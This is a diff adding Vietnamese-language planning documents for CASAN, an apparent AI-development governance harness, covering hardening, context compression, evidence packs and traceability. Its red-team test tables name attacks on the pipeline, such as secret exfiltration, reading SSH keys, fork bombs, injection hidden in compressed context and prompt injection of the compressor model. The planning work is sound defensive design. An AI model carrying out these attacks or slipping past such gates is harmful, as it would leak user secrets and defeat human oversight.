ghép | +| `adv-circuit-interleave` | V15 | CIRCUIT_OPEN theo tỷ lệ | +| `adv-tool-overwrite-sensitive-file` | V17 | BLOCK | +| `adv-tool-network-exfil` | V17 | BLOCK | +| `adv-tool-dangerous-command` | V17 | BLOCK/approval | +| `adv-dep-typosquat` / `adv-dep-postinstall` | V18 | BLOCK/duyệt | +| `adv-secret-to-cloud-model` | V19 | BLOCK/mask | +| `adv-pii-in-audit-log` | V19 | mask/BLOCK | +| `adv-artifact-leaks-env` | V19 | BLOCK | +| `adv-audit-gap` | V21 | cảnh báo chain đứt | +| `adv-read-ssh` / `adv-net-egress` / `adv-forkbomb` | V22 | bị chặn (sandbox) | +| `benign-vi/ja/en` (FP budget) | A6 | KHÔNG bị chặn (benign PASS) | + +## Ma trận rủi ro khi nâng cấp +| Rủi ro | Giảm thiểu | +|---|---| +| Siết quá gây false-positive chặn cả input hợp lệ | Track A sau cờ; đo tỉ lệ FP trên corpus benign | +| Vỡ demo trước thi | Làm trên nhánh; freeze bản demo | +| Strict fail-closed chặn khi CI không có model | CI dùng chế độ non-strict; production bật strict | +| Regression | 35/35 + 43/43 mỗi task | + +## TIER 2 — Managed production infra (đòn bẩy lên "Strong 81+") 🔌 needs-infra + +> Đây là **hạng mục có chủ** cho phần hạ tầng managed thật — trần điểm hiện tại của +> cả pipeline. Docker local-prod lab đã chứng minh luồng chạy được; bảng dưới là +> bước biến mỗi thành phần từ lab-emulation sang managed thật. **Mỗi dòng cần +> key/dịch vụ ngoài** nên tách khỏi core 218/0. Chi tiết trạng thái lab: xem TIER 2 +> trong `CASAN_BACKLOG_STATUS.md`. + +| # | Hạng mục | Lab đã có | Việc production | Verify (evidence) | +|---|---|---|---|---| +| T2.1 | KMS mặc định + HSM | Vault Transit dev | Vault/AWS-KMS/CloudHSM làm **mặc định**, token ngắn hạn qua IdP, **bỏ fallback khoá local** ở prod | ký/verify audit head qua KMS thật; chứng minh khoá non-exportable; rotate log | +| T2.2 | WORM store thật | MinIO Object Lock | S3 Object Lock/QLDB + trusted timestamp + retention policy | ship audit head lên WORM thật; thử rollback → phát hiện; retention khớp policy | +| T2.3 | Dashboard managed | nginx basic auth + `/healthz` | Host thật + TLS + OIDC/enterprise auth | dashboard truy cập qua HTTPS + OIDC; uptime monitor đọc `/healthz` | +| T2.4 | Alert channel + on-call | webhook emulator | Trỏ `CASAN_ALERT_WEBHOOK` tới Slack/PagerDuty + rota on-call | alert thật tới kênh + escalation; dead-letter redeliver có log | +| T2.5 | Billing-API telemetry | billing API mock | OpenAI/Anthropic usage API thật + key + schema versioning | reconcile local-vs-provider dùng ground truth thật; phát hiện under-report | +| T2.6 | Enterprise IdP/JWKS | mock IdP/JWKS | IdP/JWKS thật + policy versioning/diff | approval JWT ký bởi IdP thật verify PASS; token hết hạn/sai role → DENY | +| T2.7 | Sandbox rootless CI | container isolation (Docker) | nsjail/bubblewrap profile cho Linux CI (không cần Docker daemon) + hardened base image | read `~/.ssh`/net-egress/write-outside-workspace bị chặn trong CI không Docker | + +> **Điều kiện tuyên bố Strong (81+):** T2.1–T2.6 có evidence managed thật (không phải +> lab). Trước khi đủ, **không** claim production Strong — chỉ claim Level 4 + local-prod +> lab, đúng như `CASAN_HARDENING_STATUS.md` §4. + +## Tiêu chí HOÀN THÀNH kế hoạch 07 +- [ ] Track A: 9 vector có test đối kháng xanh; strict fail-closed hoạt động; trần chi phí tuyệt đối + ngân sách; **benign/FP trong ngân sách (A6)**. +- [ ] Telemetry nằm trong chuỗi ký; mutation ngoài wrapper bị phát hiện. +- [ ] Track B: đa ngôn ngữ + chống inject classifier + quản lý khóa + circuit theo tỷ lệ. +- [ ] **Track C: tool-authorization + supply-chain + data-exfil + policy-approval + external-audit + sandbox + incident-response** (V17–V23) có test/biện pháp. +- [ ] Thang điểm: Track A → ~3.8–4.0/5 (production nội bộ mức đầu); **Track B+C → production nghiêm túc**, có bằng chứng test. +- [ ] Không tụt 35/35 + 43/43 ở bất kỳ cổng nào. + +--- + +## Đánh giá 3 mức (theo review) & tuyên bố trung thực + +| Mục tiêu | Trạng thái | Điều kiện | +|---|---|---| +| **Demo / thi / trình bày** | ✅ đủ mạnh ngay | có before/after + threat-model + test đối kháng + tuyên bố trung thực | +| **Production nội bộ mức đầu** | 🟡 sau **Track A** | ~3.8–4.0/5 | +| **Production nghiêm túc** | 🔴 cần **Track B + C** | tool-authz, supply-chain, data-exfil, policy-approval, external-audit, sandbox, incident | + +> **Tuyên bố:** H4/H5/H6 hiện **đạt PoC/demo tốt (~3.0/5), chưa đạt production đầy đủ**. Track A vá các điểm lớn (semantic SKIP, telemetry chưa bất biến, thiếu trần chi phí) với rủi ro thấp → ~3.8–4.0. **Track C** (theo review) bổ sung kiểm soát **ngoài 3 harness**: tool-authorization, supply-chain, data-exfiltration, policy-approval, external append-only audit, runtime sandbox, incident-response — đây mới đủ cho production nghiêm túc. Nhận diện được cả những đường lọt ngoài phạm vi lõi = **trưởng thành bảo mật thật**, trung thực hơn tuyên bố "an toàn tuyệt đối". diff --git a/docs/plans/CASAN_PLAN_08_CONTEXT_COMPRESSION.md b/docs/plans/CASAN_PLAN_08_CONTEXT_COMPRESSION.md new file mode 100644 index 0000000..017c5bd --- /dev/null +++ b/docs/plans/CASAN_PLAN_08_CONTEXT_COMPRESSION.md @@ -0,0 +1,185 @@ +# KẾ HOẠCH 08 — Context Compression / Token Optimizer (nén đầu vào/đầu ra) + +> Năng lực **nén prompt/context để giảm token · latency · cost** — nhưng **không phá governance**. +> +> Status 2026-07-06: **🟡 Track 3 MVP implemented + tested (CASAN-native token-killer).** +> `.specify/scripts/bash/context-compress.py` — compressor deterministic của CASAN +> (KHÔNG dùng lại RTK): modes `dedup`/`extractive`/`structural`, must-keep luôn giữ, +> tee raw-passthrough khi lệnh fail, báo `token_saved`/`ratio`, và gate must-keep +> fail-able. Test `.specify/tests/phase08-compression-tests.sh` **7/0 (WSL)**; đã nối +> vào `ci-harness-gate.sh` (`phase08-compression`). Còn: Track 1 nén INPUT + Track 2 +> nén VIEW liên-bước + Track 4 abstractive (gated) + nối H4/H5 scan/hash trong pipeline thật. +> +> Nhãn: [có] tồn tại thật · [đo] đã kiểm chứng · [mới] cần làm · [chưa tự động] có đo/người quyết. +> Phụ thuộc: **01** (đường dẫn sau restructure) · **07** (thứ tự scan/audit an toàn, V19/V5) · **03** (chế độ abstractive dùng model). + +## 1. Bối cảnh & câu hỏi +- Ngoài thị trường có thật: **LLMLingua / LongLLMLingua / LLMLingua-2** (Microsoft Research), **PromptFlow** LLMLingua tool, **LangChain ContextualCompressionRetriever** (nén tài liệu RAG trước khi vào LLM). +- **RTK — Rust Token Killer** ([rtk-ai/rtk](https://github.com/rtk-ai/rtk)): CLI proxy nén **output của lệnh** (git/test/log/build…) trước khi vào context, giảm 60–90% token bằng 4 chiến lược deterministic: **Smart Filtering · Grouping · Truncation · Deduplication**, có `tee` (lưu raw đầy đủ khi lệnh fail) và analytics `rtk gain`. **Chỉ dùng làm reference ý tưởng** — CASAN **TỰ XÂY module tương tự**, **KHÔNG dùng lại binary RTK**, để giữ chủ quyền + đưa vào đúng luồng governance (scan raw → hash → nén → scan compressed). +- **Repo hiện tại [đo — grep toàn repo]:** *chưa có* module nén prompt/context. Chỉ có truncation tên nhánh + vài gợi ý "summarize" trong prompt speckit + `max_tokens` trong 1 test. → Đây là **năng lực mới**. + +## 2. Quyết định kiến trúc — **KHÔNG tạo H8** +Nén là **capability cắt ngang**, không phải harness thứ 8 (tránh phình kiến trúc 7 harness): + +> **H1.5 Context Compression / Token Optimizer** — cross-cutting capability, **chủ sở hữu H1 (context) + H6 (budget)**, được **verify bởi H3/H4/H5**, dùng **H2** cho tool-output và **H7** cho chunk/retry. + +### 2.1 Map phần → harness +| Phần | Harness chính | Vai trò | +|---|---|---| +| Chọn/rút gọn/dedup/summarize context đầu vào | **H1** | owner nén input | +| Nén output "view cho bước sau" (KHÔNG nén artifact cuối) | **H1** (context memory) | giảm token liên-bước | +| Nén tool-output dài (log/search/terminal) | **H2 + H1** | H2 kiểm quyền, H1 nén phần liên quan | +| Kiểm nén **không mất ý** (faithfulness) | **H3** | gate ngữ nghĩa | +| Scan raw **và** bản nén (injection/secret/PII) | **H4** | trước & sau nén | +| Audit raw + compressed + ratio + policy | **H5** | bằng chứng bất biến | +| Token/cost budget: khi nào nén, ratio, token saved | **H6** | chính sách chi phí | +| Chunk/retry/resume khi quá dài / nén fail | **H7** | điều phối | + +**Lớp chính nếu phải chọn một:** **H1 Context**, dưới kiểm soát **H6 budget**, verify bởi **H3/H4/H5**. + +## 3. Nguyên tắc AN TOÀN (bắt buộc — tinh chỉnh so với bản thảo) +1. **Scan + audit RAW TRƯỚC khi nén.** Nén trước có thể **xoá dấu injection** hoặc **mất bằng chứng gốc**. Thứ tự: `H4 scan raw → H5 hash raw → H1 nén → H3 faithfulness → H4 scan compressed → H5 audit compressed+ratio → model`. +2. **Scan LẠI sau khi nén.** Bản nén có thể *vô tình sinh* hoặc *che* nội dung độc → H4 phải quét cả bản nén. +3. **Must-keep invariants (điểm mới quan trọng):** một tập **mệnh đề bắt buộc giữ** — đặc biệt **yêu cầu phủ định / ràng buộc bảo mật** (vd *"Không gửi dữ liệu người dùng lên cloud model"*). Nén **cấm** làm rớt các mệnh đề này; H3 REJECT nếu mất. +4. **Không dùng nén để NÉ H4.** Vì luôn scan-after-compress, nén không thể là đường lách bảo mật. +5. **Abstractive = một model-call** → chịu **H4** (compressor có thể bị inject), **H6** (tốn token), **H3** (có thể ảo). Do đó abstractive phải gated, không mặc định. +6. **Artifact cuối KHÔNG nén.** Code/spec/plan/audit/test-log chính thức giữ **full** để review/rollback/audit; chỉ tạo **compressed view** cho bước kế. + +## 4. Bốn chế độ nén +| Mode | Dùng khi | Rủi ro | +|---|---|---| +| `extractive` | giữ nguyên câu/đoạn quan trọng | thấp nhất — **ưu tiên** | +| `structural` | log/spec dài → JSON/table ngắn | thấp — **ưu tiên** | +| `semantic-dedup` | loại trùng giữa nhiều artifact/history | trung | +| `abstractive` | tóm tắt bằng model, tiết kiệm mạnh | **cao** (mất ý/ảo) → gated | + +> **Khuyến nghị:** bắt đầu **extractive + structural**; **hoãn abstractive** cho requirement/spec (dễ mất chi tiết), chỉ bật sau khi H3 faithfulness + must-keep vững. + +## 5. Luồng chuẩn +``` +1. Nhận raw (input / artifact / tool-output) +2. H4 scan raw (injection/secret/PII) +3. H5 ghi hash raw (bằng chứng gốc) +4. H6 check token budget → nếu KHÔNG vượt: dùng raw, bỏ qua nén +5. Nếu vượt budget: + a. H1 nén (mode phù hợp) + giữ must-keep invariants + b. H3 kiểm faithfulness (không mất ý / không rớt must-keep) + c. H4 scan bản nén + d. H5 audit: hash raw + hash compressed + ratio + mode + policy +6. Đưa bản nén vào model +7. Lưu artifact FULL riêng (không mất dữ liệu gốc) +``` + +## 6. Module layout (đề xuất) +Trước restructure (hiện tại): +``` +.specify/scripts/bash/compress-context.sh # H1 owner +.specify/scripts/python/context-compress.py # extractive/structural/dedup +.specify/scripts/bash/token-budget-check.sh # H6 +.specify/scripts/python/verify-compression.py # H3 faithfulness + must-keep +.specify/level5/compression-policy.yaml # mode, ratio, must-keep, budget +``` +Sau restructure (khớp Plan 01): +``` +src/gates/h1-context/compress-context.sh +src/gates/h1-context/context-compress.py +src/gates/h6-agentops/token-budget-check.sh +src/gates/h3-eval/verify-compression-faithfulness.py +config/compression-policy.yaml +``` + +## 7. Tasks theo track + +### Track 1 — MVP: nén INPUT (extractive + structural) +| Task | Việc | Verify | Done | +|---|---|---|---| +| 1.1 | `compression-policy.yaml`: mode, ratio target, **must-keep patterns**, token budget | policy load được | có policy | +| 1.2 | `token-budget-check.sh` (H6): tính token input; vượt → bật nén | input dài → trả `NEED_COMPRESS` | H6 quyết định | +| 1.3 | `context-compress.py` extractive + structural (giữ must-keep) | nén ra ≤ budget, giữ must-keep | có bản nén | +| 1.4 | Chèn đúng thứ tự an toàn: scan-raw → hash-raw → nén → H3 → scan-compressed → audit | log đúng trình tự | thứ tự an toàn | +| 1.5 | `verify-compression-faithfulness.py` (H3): REJECT nếu rớt must-keep | test rớt must-keep → REJECT | H3 gate | +| 1.6 | H5 audit raw+compressed+ratio+mode | sửa 1 bên → `AUDIT_HASH_MISMATCH` | bằng chứng | +| 1.7 | H4 scan bản nén | payload trong bản nén → BLOCK | scan-after | + +**Cổng ra Track 1:** input dài được nén an toàn, giữ must-keep, có audit ratio; 35/35 + 43/43 không tụt. + +### Track 2 — Nén VIEW liên-bước (artifact full giữ nguyên) +| Task | Việc | Verify | Done | +|---|---|---|---| +| 2.1 | STEP sinh artifact dài → lưu **full** + tạo **compressed view** cho bước sau | full + view cùng tồn tại | không mất gốc | +| 2.2 | H3 kiểm view không mất yêu cầu quan trọng | rớt yêu cầu → REJECT | faithfulness | +| 2.3 | H5 audit cả full + view | hash cả hai | truy vết | + +### Track 3 — Nén TOOL-OUTPUT (H2 + H1) +| Task | Việc | Verify | Done | +|---|---|---|---| +| 3.1 | Tool trả log/output dài → H4 scan raw → H5 hash → H1 nén phần liên quan → H4 scan nén | tool-output dài → nén qua đúng flow | không đưa thẳng vào model | +| 3.2 | Nối với Plan-07 C1/V7 (tool authorization + tool-output scan) | tool-output độc → BLOCK trước nén | an toàn | + +#### Track 3 — tự xây token-killer tương tự RTK (KHÔNG dùng lại RTK) +Xây **module CASAN-native** lấy ý tưởng từ RTK, nhưng là code của CASAN, để giữ chủ +quyền và nhúng đúng luồng governance. **Không phụ thuộc binary RTK, không auto- +rewrite hook** (pipeline CASAN chạy bash script, không phải agent tool-call): + +| Ý tưởng từ RTK | CASAN tự xây (module riêng) | Ràng buộc governance | +|---|---|---| +| Smart Filtering / Grouping / Truncation | `context-compress.py` mode `structural`/`extractive` cho tool-output (git/test/lint/log) | luôn deterministic; không cần model | +| Deduplication (gộp dòng log lặp + đếm) | `semantic-dedup` cho log dài | giữ dòng unique | +| `tee` — lưu raw đầy đủ khi lệnh **fail** | bắt buộc giữ artifact FULL + hash RAW (đã là nguyên tắc mục 3) | fail ⇒ không nén, giữ raw để debug | +| `rtk gain` analytics (token saved/ratio) | metric `token_saved`/`ratio` tự tính → H6 telemetry + dashboard | nguồn số liệu cho Control Plane (Plan-13) | +| `config.toml` (exclude_commands, tee mode) | `compression-policy.yaml` | **settings quản lý qua Control Plane (Plan-13)**, đổi phải H5 audit | + +| Task | Việc | Verify | Done | +|---|---|---|---| +| 3.3 | Thư viện filter tool-output CASAN-native theo loại (git/test/lint/log/build) — đặt SAU `H4 scan raw → H5 hash raw`, trước `H4 scan compressed` | log 200 dòng test → còn ~20 dòng failures-only, đúng thứ tự scan/audit | có filter deterministic (code CASAN) | +| 3.4 | Coverage filter cho ≥N loại lệnh (git/test/lint/build/log/pkg-manager), mở rộng dần như RTK — **không** phụ thuộc binary ngoài | mỗi loại có filter + test benign giữ đúng thông tin | self-contained, không external dep | +| 3.5 | Bật/tắt + cấu hình filter qua `compression-policy.yaml` (managed bởi Plan-13) | đổi policy → hành vi nén đổi, có audit | policy-driven | + +### Track 4 — Abstractive + semantic-dedup (gated, làm sau) +| Task | Việc | Verify | Done | +|---|---|---|---| +| 4.1 | `abstractive` qua model-router (chịu H4/H6) | bật sau cờ; đo token saved | gated | +| 4.2 | H3 faithfulness nghiêm cho abstractive (must-keep 100%) | rớt bất kỳ must-keep → REJECT | an toàn ngữ nghĩa | +| 4.3 | `semantic-dedup` giữa history/artifact | loại trùng, giữ unique | dedup đúng | + +## 8. Test faithfulness & must-keep (red-team) +| Test | Kỳ vọng | +|---|---| +| `adv-compression-drops-negative-requirement` (rớt *"Không gửi dữ liệu lên cloud"*) | H3 **REJECT** | +| `adv-compression-drops-edge-case` (mất điều kiện biên) | H3 REJECT | +| `adv-compression-drops-security-instruction` | H3 REJECT | +| `adv-compressed-carries-injection` (bản nén chứa payload) | H4 **BLOCK** (scan-after) | +| `adv-abstractive-hallucinated-summary` (nghe đúng nhưng sai) | H3 REJECT | +| `benign-compression-ratio` (nén hợp lệ) | PASS + đo token saved | + +## 9. Rủi ro +| Rủi ro | Giảm thiểu | +|---|---| +| Nén mất requirement/edge/security | must-keep invariants + H3 faithfulness bắt buộc | +| Nén che injection | luôn scan-after-compress (H4) | +| Abstractive ảo | gated + H3 nghiêm + ưu tiên extractive | +| Mất bằng chứng gốc | scan/hash RAW trước nén; lưu artifact full | +| Nén thành đường né H4 | scan cả raw & compressed | +| Compressor model bị inject (V5) | H4 quét input của compressor + tách tiêu chí/nội dung | + +## 10. Liên kết Plan-07 +- **V19 Data exfil:** nén có thể *giúp* (strip secret trước cloud) hoặc *hại* (lộ qua summary) → phải qua C3 data-exfil check. +- **V5 classifier/compressor injection:** abstractive compressor là model → gia cố như judge. +- **H6 budget (V12/V13):** compression feed `token_saved`, `ratio` vào telemetry; nén là công cụ giữ ngân sách. + +## 11. Tiêu chí HOÀN THÀNH +- [ ] Track 1: input nén extractive+structural, giữ must-keep, đúng thứ tự scan/audit, có H3 gate. +- [ ] Artifact cuối KHÔNG bị nén; chỉ có compressed view cho bước sau (Track 2). +- [ ] Tool-output nén qua H2+H1+H4 (Track 3), không đưa thẳng vào model. +- [ ] Abstractive gated sau cờ, H3 must-keep 100% (Track 4). +- [ ] Red-team faithfulness (mục 8) xanh; benign đo được `token_saved`/`ratio`. +- [ ] 35/35 + 43/43 không tụt. + +## 12. Ghi chú trung thực +- Toàn bộ Plan 08 là **[mới]** — repo hiện chưa có module nén ([đo] grep xác nhận). +- Không tạo H8; đây là **capability dưới H1/H6**, verify bởi H3/H4/H5. +- Giá trị: giảm token/cost **và** giúp CASAN giống một **AI-SDLC platform** thật, nhưng chỉ đáng làm **sau khi Plan-07 core (Track A + C-MVP) vững** — nén thêm bề mặt rủi ro nên phải có governance trước. + +--- + +_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (thứ tự an toàn, V19/V5) · `CASAN_PLAN_01_RESTRUCTURE.md` (đường dẫn) · `CASAN_PLAN_03_CLOUD_PATCH.md` (abstractive dùng model) · `CASAN_PLAN_13_CONTROL_PLANE.md` (compression-policy là settings quản lý qua Control Plane) · reference: [rtk-ai/rtk](https://github.com/rtk-ai/rtk)._ diff --git a/docs/plans/CASAN_PLAN_09_EVIDENCE_PACK.md b/docs/plans/CASAN_PLAN_09_EVIDENCE_PACK.md new file mode 100644 index 0000000..f37b606 --- /dev/null +++ b/docs/plans/CASAN_PLAN_09_EVIDENCE_PACK.md @@ -0,0 +1,81 @@ +# KẾ HOẠCH 09 — CASAN Evidence Pack & Certification + +> Mỗi lần CASAN chạy xong sinh một **gói bằng chứng** đóng gói toàn bộ verdict của H1–H7 + red-team + cost + traceability, trả lời trực tiếp câu: *"Tại sao tôi tin output này?"* bằng **proof pack**, không bằng cảm tính. +> +> Status 2026-07-06: **🟡 MVP done + governance-report tie-in.** Evidence Pack MVP +> (`evidence-pack.sh`, 13-file pack, hash+ký) đã có (`phase3-evidence-pack` 7/0). +> Bổ sung **unified governance evidence report** `.specify/scripts/bash/governance-report.py` +> gộp traceability + RBAC + RAI + control-plane audit-integrity + self-improve thành 1 +> artifact **certified-run** (tampered audit ⇒ NOT_CERTIFIED). Test +> `phase-governance-report-tests.sh` **5/0 (WSL)**, nối CI. Còn: render HTML one-page + badge đẹp. +> +> Nhãn: [có] tồn tại thật · [đo] đã kiểm chứng · [mới] cần làm. +> Phụ thuộc: **nhẹ** — chủ yếu *gom* dữ liệu H1–H7 đã có; nối tốt hơn nếu có Plan-01 (đường dẫn) và Plan-10 (traceability). + +## 1. Vì sao đây là plan đáng làm nhất tiếp theo +- **Đúng tim CASAN:** "AI không được tin mặc định — mọi quyết định phải có bằng chứng, audit, test, rollback". +- **Rẻ:** phần lớn dữ liệu đã tồn tại rời rạc ([có]: audit chain, provider-usage, test report, dashboard, drift report). Plan này **tổng hợp + chuẩn hoá + ký**, không phải xây control mới. +- **Ăn điểm trình bày:** giám khảo hỏi "vì sao tin output?" → mở **Evidence Pack**. + +## 2. Cấu trúc gói bằng chứng (mỗi run) +``` +CASAN_EVIDENCE_PACK// + run-summary.json # kết quả tổng: verdict, level, pass/fail mỗi harness + h1-context-report.json # context checked, token budget, (nén nếu có) + h2-tool-audit.json # tool nào gọi, input, outcome + h3-eval-scorecard.json # judge/drift/faithfulness + (traceability nếu Plan-10) + h4-security-report.json # injection/secret/PII, rc, mode + h5-audit-chain-proof.json # hash-chain + chữ ký + verify result + h6-cost-telemetry.json # token thật, cost-spike, budget + h7-orchestration-report.json # checkpoint/rollback/retry + redteam-result.json # ca đối kháng: block_rate + benign-fp-report.json # false-positive rate (Plan-07 A6) + artifact-manifest.json # hash mọi artifact cuối (full, không nén) + decision-log.md # người-đọc-được: đã APPROVE/REJECT/BLOCK gì, vì sao + evidence-pack.sig # chữ ký toàn gói (tamper-evident) +``` + +## 3. Tasks + +### Track 1 — Thu thập & chuẩn hoá (MVP) +| Task | Việc | Nguồn [có] | Verify | Done | +|---|---|---|---|---| +| 1.1 | Định schema `run-summary.json` (verdict/level/harness pass-fail) | tổng hợp | schema hợp lệ | có schema | +| 1.2 | Trích H4/H5/H6 report từ log hiện có | security/audit/usage logs | 3 file sinh đúng | có report | +| 1.3 | Trích H1/H2/H3/H7 report | trace/tool/eval/rollback logs | 4 file sinh đúng | có report | +| 1.4 | `artifact-manifest.json`: hash mọi artifact cuối | artifact dir | hash khớp file | manifest đúng | +| 1.5 | `decision-log.md` người-đọc-được | boss log + verdict | liệt kê quyết định + lý do | log rõ | + +### Track 2 — Certification (ký & xác minh) +| Task | Việc | Verify | Done | +|---|---|---|---| +| 2.1 | Gộp pack → tính hash tổng → **ký** (dùng H5 sign-audit-head) | `evidence-pack.sig` sinh ra | có chữ ký | +| 2.2 | `casan verify-pack `: kiểm chữ ký + hash từng phần | sửa 1 file → verify FAIL | tamper-evident | +| 2.3 | Nhúng verdict red-team + benign/FP (Plan-07) vào pack | 2 file có mặt | đủ bằng chứng bảo mật | +| 2.4 | Nối traceability (nếu Plan-10) vào `h3-eval-scorecard.json` | có REQ→code→test | (tuỳ Plan-10) | + +### Track 3 — Trình bày +| Task | Việc | Verify | Done | +|---|---|---|---| +| 3.1 | `casan pack-report`: render pack → HTML/1 trang tóm tắt | mở xem được | có view đẹp | +| 3.2 | Badge "Certified run" khi mọi gate PASS + ký hợp lệ | run pass → badge | có chứng nhận | + +## 4. Rủi ro +| Rủi ro | Giảm thiểu | +|---|---| +| Pack chứa secret/PII | chạy pii-mask/secrets-scan trước khi đóng gói | +| Pack bị sửa | ký toàn gói (2.1) + verify (2.2) | +| "Certified" nhưng gate SKIP | badge chỉ cấp khi KHÔNG có gate SKIP quan trọng | + +## 5. Tiêu chí HOÀN THÀNH +- [ ] Mỗi run sinh Evidence Pack đủ 12 file + chữ ký. +- [ ] `casan verify-pack` phát hiện mọi sửa đổi. +- [ ] Pack chứa red-team + benign/FP; không lộ secret/PII. +- [ ] Có view 1 trang + badge "Certified run" (chỉ khi không SKIP gate quan trọng). +- [ ] Không tụt 35/35 + 43/43. + +## 6. Ghi chú trung thực +Toàn bộ là **[mới]** (đóng gói), nhưng **dựa trên dữ liệu [có]** — không phóng đại. Badge "Certified" phải trung thực: chỉ cấp khi bằng chứng đầy đủ, không có gate bị bỏ qua âm thầm. + +--- +_Liên quan: `CASAN_PLAN_10_TRACEABILITY_EVAL.md` (nội dung scorecard) · `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (red-team/FP) · `CASAN_PLAN_01_RESTRUCTURE.md` (CLI/đường dẫn)._ diff --git a/docs/plans/CASAN_PLAN_10_TRACEABILITY_EVAL.md b/docs/plans/CASAN_PLAN_10_TRACEABILITY_EVAL.md new file mode 100644 index 0000000..18fdae4 --- /dev/null +++ b/docs/plans/CASAN_PLAN_10_TRACEABILITY_EVAL.md @@ -0,0 +1,41 @@ +# CASAN PLAN 10 — Traceability REQ→Code→Test + H3 Eval + +> Status 2026-07-06: **MVP implemented + tested**. Scope is deterministic +> traceability for the OKR sample app; broader H3 eval-set expansion remains a +> platform follow-up. + +## MVP delivered + +| Capability | Where | Verification | +|---|---|---| +| Parse `FR-*` from `docs/input/okr-requirement.md` | `.specify/scripts/bash/traceability-matrix.py` | `phase10-traceability-tests.sh` | +| Declarative FR→code→test map | `.specify/traceability-map.json` | gate checks every mapped file exists | +| Gate every FR has >=1 code file and >=1 test file | `traceability-matrix.py --gate` | missing FR test coverage fails | +| **Symbol/line-level refs** (object form `{file, symbols, lines}`, backward compatible with plain path) | `traceability-matrix.py` (`resolve_files`, `symbol_present`) | `phase10` symbol/line checks (missing symbol/line ⇒ gate FAIL) | +| Evidence Pack includes traceability matrix | `evidence-pack-build.py` | `phase3-evidence-pack-tests.sh` expects 13 files | +| **CI enforcement** | `ci-harness-gate.sh` runs `phase10-traceability` | CI fails a new FR without code+test (+symbol) coverage | + +> Verify môi trường: chạy trong **WSL/Linux** (msys + Python Windows lệch dịch path → fail giả). phase10 = **6/0** trong WSL. + +## Current result + +```bash +python3 .specify/scripts/bash/traceability-matrix.py --gate +# TRACEABILITY_MATRIX requirements=5 pass=5 fail=0 symbols=2/2 ... + +bash .specify/tests/phase10-traceability-tests.sh # chạy trong WSL +# TRACEABILITY SUMMARY: PASS=6 FAIL=0 +``` + +Generated artifact: + +- `AINative_OKR_CASAN5/docs/output/casan/traceability-matrix.json` (nạp thêm `symbol_refs`, `missing_symbols`, `missing_lines`) + +## Next steps + +| Priority | Work | Done when | +|---|---|---| +| ~~P1~~ ✅ | ~~Symbol/line-level refs~~ **đã làm** | matrix trỏ tới symbol/line chính xác; missing ⇒ gate FAIL | +| ~~P3~~ ✅ | ~~Enforce traceability in release CI~~ **đã có** | `ci-harness-gate.sh` chạy `phase10` | +| P2 | Expand H3 eval-set beyond the OKR sample app | independent eval corpus runs through judge gates | +| P4 | Enrich symbol refs cho các FR còn lại (FR-02→FR-05) | mỗi FR có ≥1 symbol ref được verify | diff --git a/docs/plans/CASAN_PLAN_12_DOMAIN_PACK.md b/docs/plans/CASAN_PLAN_12_DOMAIN_PACK.md new file mode 100644 index 0000000..75f0a4a --- /dev/null +++ b/docs/plans/CASAN_PLAN_12_DOMAIN_PACK.md @@ -0,0 +1,76 @@ +# KẾ HOẠCH 12 — CASAN Domain Pack SDK + +> Onboard dự án mới **không copy folder thủ công** — chỉ khai báo một **Domain Pack** (YAML) là CASAN tự hiểu golden/corpus/threshold/quality-rules của domain đó. Chuẩn hoá "harness reusable, domain data tách khỏi core". Task-level, chưa thực thi. +> +> Nhãn: [có]/[demo]/[mới]. Phụ thuộc: **01** (tách `config`/`apps//domain`) là điều kiện tiên quyết · **06** (onboard thủ công là bản chạy tay của cái này) · **07/10** (rules tham chiếu). + +## 1. Vì sao đáng làm +- Plan-06 onboard dự án 2 **thủ công**; Domain Pack biến việc đó thành **khai báo** → reuse thật ở tầm platform. +- Đúng tư tưởng CASAN: **gate (khung) không đổi; domain data khai báo bên ngoài.** + +## 2. Hình dạng Domain Pack +```yaml +# apps//domain/domain-pack.yaml +domain: okr +language: [vi, ja, en] +artifact_types: [srs, bd, spec, code, test] +golden_runs: + path: apps/okr/domain/golden-runs +redteam_corpus: + path: apps/okr/domain/redteam-corpus +benign_corpus: + path: apps/okr/domain/benign-corpus +thresholds: # đè mặc định package + cost_absolute_max: 800 + fp_budget: 0.03 + drift_similarity_min: 0.7 +quality_rules: + - requirement_coverage + - no_security_regression + - no_unapproved_dependency +harness_package: fpt-casan-sdd-harness +harness_version: 1.0.0 +``` + +## 3. Tasks + +### Track 1 — Loader & schema +| Task | Việc | Verify | Done | +|---|---|---|---| +| 1.1 | Định schema `domain-pack.yaml` + validate | pack sai field → báo lỗi rõ | schema chốt | +| 1.2 | Loader: đọc pack → nạp golden/corpus/threshold/rules vào harness | chạy với pack → dùng đúng data domain | loader chạy | +| 1.3 | Cơ chế **override**: pack đè default package; thiếu field → dùng default | field trống → default; có → đè | override đúng | +| 1.4 | `casan init-domain `: scaffold pack + thư mục domain rỗng | sinh khung pack | init chạy | + +### Track 2 — Tích hợp & kiểm chứng +| Task | Việc | Verify | Done | +|---|---|---|---| +| 2.1 | Pipeline đọc domain-pack thay vì hard-code (bỏ `feature-id` cứng) | đổi pack → đổi domain, không sửa gate | tách domain | +| 2.2 | `casan register` đọc pack → ghi `project-registry.json` | registry có entry đúng version | đăng ký tự động | +| 2.3 | `verify-harness-reuse` với 2 domain pack thật | `HARNESS_REUSE_VALID project_count=2` | reuse thật | +| 2.4 | Quality rules trong pack map sang gate (coverage→H3, dependency→C2…) | rule bật/tắt đúng gate | rule-driven | + +### Track 3 — Chất lượng pack +| Task | Việc | Verify | Done | +|---|---|---|---| +| 3.1 | Lint pack: golden/corpus tối thiểu N mẫu; rule hợp lệ | pack thiếu corpus → cảnh báo | lint pack | +| 3.2 | `casan doctor `: kiểm pack sẵn sàng chạy chưa | thiếu gì → liệt kê | health-check | + +## 4. Rủi ro +| Rủi ro | Giảm thiểu | +|---|---| +| Phải sửa gate cho domain mới | nếu xảy ra → nợ kỹ thuật đẩy về Plan-01 (tách chưa đủ) | +| Pack sơ sài → gate vô nghĩa | 3.1 lint tối thiểu corpus/golden | +| Reuse "giả" (chỉ copy) | cùng `harness_version` + verify script | + +## 5. Tiêu chí HOÀN THÀNH +- [ ] Onboard dự án mới = tạo `domain-pack.yaml` + domain data, **không sửa `src/gates`**. +- [ ] Override threshold/rule theo pack hoạt động. +- [ ] `casan init-domain` / `register` / `doctor` chạy. +- [ ] `verify-harness-reuse` = 2 domain pack thật → VALID. + +## 6. Ghi chú trung thực +Cần **Plan-01 (tách config/domain) 